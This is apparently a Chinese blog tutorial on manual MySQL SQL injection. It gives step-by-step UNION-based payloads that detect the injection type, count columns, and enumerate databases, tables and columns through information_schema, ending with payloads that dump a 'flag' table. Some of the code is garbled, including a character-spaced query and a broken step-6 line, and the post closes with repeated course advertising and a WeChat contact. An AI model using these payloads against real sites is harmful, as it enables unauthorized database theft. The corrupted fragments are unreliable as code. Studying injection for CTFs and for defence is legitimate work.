手工SQL注入流程与常用语句_sql注入 手工(1),2024年最新今年最新整理的《高频网络安全面试题集合》

FLAG:别来我梦里了,我已负担不起醒来的失落
专研方向: Mysql,sql注入
每日emo:好久不见,寒暄几句,缺耗尽了半生的勇气

欢迎各位与我这个菜鸟交流学习

在这里插入图片描述

SQL注入流程与常用语句

1、判断注入类型,数字型还是字符型

数字型

$query = “SELECT first_name, last_name FROM users WHERE user_id = $id;”;

字符型

q u e r y = " S E L E C T f i r s t _ n a m e , l a s t _ n a m e F R O M u s e r s W H E R E u s e r _ i d = ′ query = "SELECT first\_name, last\_name FROM users WHERE user\_id = ' query="SELECTfirst_name,last_nameFROMusersWHEREuser_id=id’;";

注意:?表示传递参数,通常都是在页面后会有?id=数值,这样的方式传递参数给服务器,然后给我们返 回参数对应的页面信息,我们发现我们是在/后面直接使用?传递参数,此时参数会传递给默认页面。

方法一: order by 法
构造payload为:id=1 order by 9999 --+
如果正确返回页面,则为字符型
否则,为数字型

分析:字符型执行的sql语句为select * from user where id=‘1 order by 9999 --+’,注释符【-
-】实际上在执行的时候,被当成id的一部分,也就是说,在执行sql语句的时候,条件是id=‘1 order by 9999 --+’。最终只会截取前面的数字,返回id=1的结果。 如果是数字型的话,执行的sql语句为select * from user where id=1 order by 9999 --+,在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。

方法二:逻辑判断法

这就很简单了,就是猜,但是也得知道一点技巧。 比如说,id这种,一般在数据库存储为int类型的,在查询时,可能是数字型,也可能是字符型。
但是,如果是name或者username之类的,按正常逻辑,一看就知道是以varchar或者char存储的,那指定就是字符型了,因为不加引号,sql语句绝对报错。

在这里插入图片描述

如果不加引号:
在这里插入图片描述

2、猜解sql查询语句中的字段数

在这一步中,尝试去猜测出查询语句中的字段个数,如下注入语句所示,假设为字符型注入,先利用1’实现引号闭环,再利用or 1=1这样可以暴露出表中所有的数据,最后利用order by num#去看是否报错来明确查询语句中的字段数,其中#号用于截断sql查询语句。

1’ or 1=1 order by 1 #
1’ or 1=1 order by 2 #

或者

1’ or 1=1 union select 1, 2, 3 #

3、确定字段的显示顺序(回显位)

这里我们直接使用union就行,如下
代码所示,这里我们故意扰乱了first_name和last_name的两个位置,查询出来结果中的1,2会指明数据字段在查询语句中的位置。

1’ union select 1, 2 #
’ or 1=1 union select 1,database(),3 limit 1,2;#–

在这里插入图片描述

4、获取当前数据库

通过前面的字段数确定以及显示顺序确定,我们就可以结合union操作来获取数据库中的信息了。如下代码所示,展示了获取数据库名的操作,根据前面已经获取到的字段数以及位置关系,假设有两个字段,那么下面的查询语句将会把数据库的名称放在第二个字段中。

1’ union select 1, database() #

在这里插入图片描述


示例公式
查看数据库表的数量

’ or 1=1 union select 1,(select count(*) from information_schema.tables where table_schema = ‘web2’),3 limit 1,2;#–

查表的名字
第一个表:

’ or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = ‘web2’ limit 0,1),3 limit 1,2;#–

第二个表:

’ or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = ‘web2’ limit 1,2),3 limit 1,2;#–

查flag表列的数量

’ or 1=1 union select 1,(select count(*) from information_schema.columns where table_name = ‘flag’ limit 0,1),3 limit 1,2;#–

.查flag表列的名字

’ or 1=1 union select 1,(select column_name from information_schema.columns where table_name = ‘flag’ limit 0,1),3 limit 1,2;#–

查flag表记录的数量

’ or 1=1 union select 1,(select count(*) from flag),3 limit 1,2;#–

查flag表记录值

’ or 1=1 union select 1,(select flag from flag limit 0,1),3 limit 1,2;#–


5、获取数据库中的表

在获取到当前数据库名后,我们可以进一步获取其中表的信息。如下代码和截图所示,展示了获取数据库中表的信息,information_schema是MySql自带的信息数据库,用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等,其中的表实际上都是视图。information_schema的tables表记录了数据库中表的信息,指定table_schema的名称即可显示对应数据库中表的信息

1’ union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

在这里插入图片描述

6、获取表中的字段名

进一步获取其中的字段名,假设要获取的表为users,如下面的代码和截图所示。information_schema的columns表存储了表中列的信息,也就是表中字段信息,指定table_name表名,即可获取到对应表的字段信息。

1’ union select 1, c’c’c’c’c获取字段信息:
1’ union select 1, 2, group_concat(字段名) from 表名字#
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 0,1(查找admin表的第一列字段)

在这里插入图片描述

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

写在最后

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。**

需要完整版PDF学习资源私我

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-03murweo-1712838741131)]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值